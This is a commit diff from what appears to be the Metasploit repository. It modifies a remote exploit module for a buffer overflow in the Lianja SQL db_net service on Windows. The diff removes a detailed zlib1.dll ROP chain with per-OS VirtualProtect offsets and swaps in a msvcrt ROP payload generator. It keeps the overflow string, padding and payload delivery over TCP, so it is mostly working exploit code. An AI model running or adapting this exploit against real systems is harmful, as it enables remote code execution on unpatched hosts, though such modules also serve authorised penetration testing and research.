Skip to content

Commit 70e1379

Browse files
committed
Use msvcrt in ropdb for stability.
1 parent c3ab1ed commit 70e1379

File tree

1 file changed

+4
-41
lines changed

1 file changed

+4
-41
lines changed

modules/exploits/windows/misc/lianja_db_net.rb

Lines changed: 4 additions & 41 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
class Metasploit3 < Msf::Exploit::Remote
1111
Rank = GoodRanking
1212
include Msf::Exploit::Remote::Tcp
13+
include Msf::Exploit::RopDb
1314

1415
def initialize(info = {})
1516
super(update_info(info,
@@ -37,11 +38,8 @@ def initialize(info = {})
3738
},
3839
'Targets' =>
3940
[
40-
[ 'Windows Server 2008 SP1', { 'vp_offset' => 0xffff0488 } ],
41-
[ 'Windows 7 SP1', { 'vp_offset' => 0xfffe55f1 } ],
42-
[ 'Windows Server 2003 SP1', { 'vp_offset' => 0xffff7483 } ],
43-
[ 'Windows XP SP3', { 'vp_offset' => 0xfffed507 } ],
44-
[ 'Windows XP SP2', { 'vp_offset' => 0xfffc882d } ],
41+
[ 'Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ],
42+
[ 'Windows XP SP3', { 'rop_target' => 'xp' } ],
4543
],
4644
'DefaultTarget' => 0,
4745
'Privileged' => true,
@@ -66,40 +64,6 @@ def check
6664
return Exploit::CheckCode::Safe
6765
end
6866

69-
def rop_chain
70-
# all addresses are in zlib1.dll
71-
rop_chain = [
72-
0x61b8f873, # POP EBP # RETN
73-
0x06b930c6, # 0x06b930c6-> ebp
74-
0x61b86430, # XCHG EAX,EBP # RETN
75-
0x61b88f48, # MOV ESI,DWORD PTR DS:[EAX+5B000016] # RETN
76-
0x61b86858, # POP ECX # ADC AL,39 # RETN
77-
target['vp_offset'], # something-> ecx (offset of &k32.VirtualProtect - &k32.AddAtomA)
78-
0x61b84c8d, # ADD ESI,ECX # POP EBX # MOV EAX,ESI # POP ESI # RETN
79-
0x41414141, # Filler (compensate)
80-
0x61B925e0, # address of zlib1:.edata
81-
0x61b8fcab, # JMP EAX
82-
0x61b8493a, # RETN (ROP NOP)
83-
0x61B925e0, # address of zlib1:.edata
84-
0x00000500, # dwSize
85-
0x00000040, # NewProtect
86-
0x61B925d0, # lpOldProtect
87-
0x61b84939, # POP EDI # RETN
88-
0x00000000, # 0x00000000-> edi
89-
0x61b8f873, # POP EBP # RETN
90-
0x61b93146, # 0x61b93146-> ebp
91-
0x61b86430, # XCHG EAX,EBP # RETN
92-
0x61b8c9fc, # ADC EDI,DWORD PTR DS:[EAX-2] # MOV EBX,DWORD PTR SS:[ESP+8] # ADD ESP,0C # RETN
93-
0x41414141, # Filler (compensate)
94-
0x42424242, # Filler (compensate)
95-
0x00000500, # size
96-
0x61b8f873, # POP EBP # RETN
97-
0x61B925e0, # address of zlib1:.edata
98-
0x61b820fd, # PUSHAD # RETN
99-
].pack("V*")
100-
return rop_chain
101-
end
102-
10367
def exploit
10468
connect
10569
sock.put("db_net")
@@ -109,8 +73,7 @@ def exploit
10973
evil_data = '000052E1'
11074
evil_data << 'A'
11175
evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur
112-
evil_data << rop_chain
113-
evil_data << payload.encoded
76+
evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']})
11477
sock.put(evil_data)
11578
disconnect
11679
end

0 commit comments

Comments
 (0)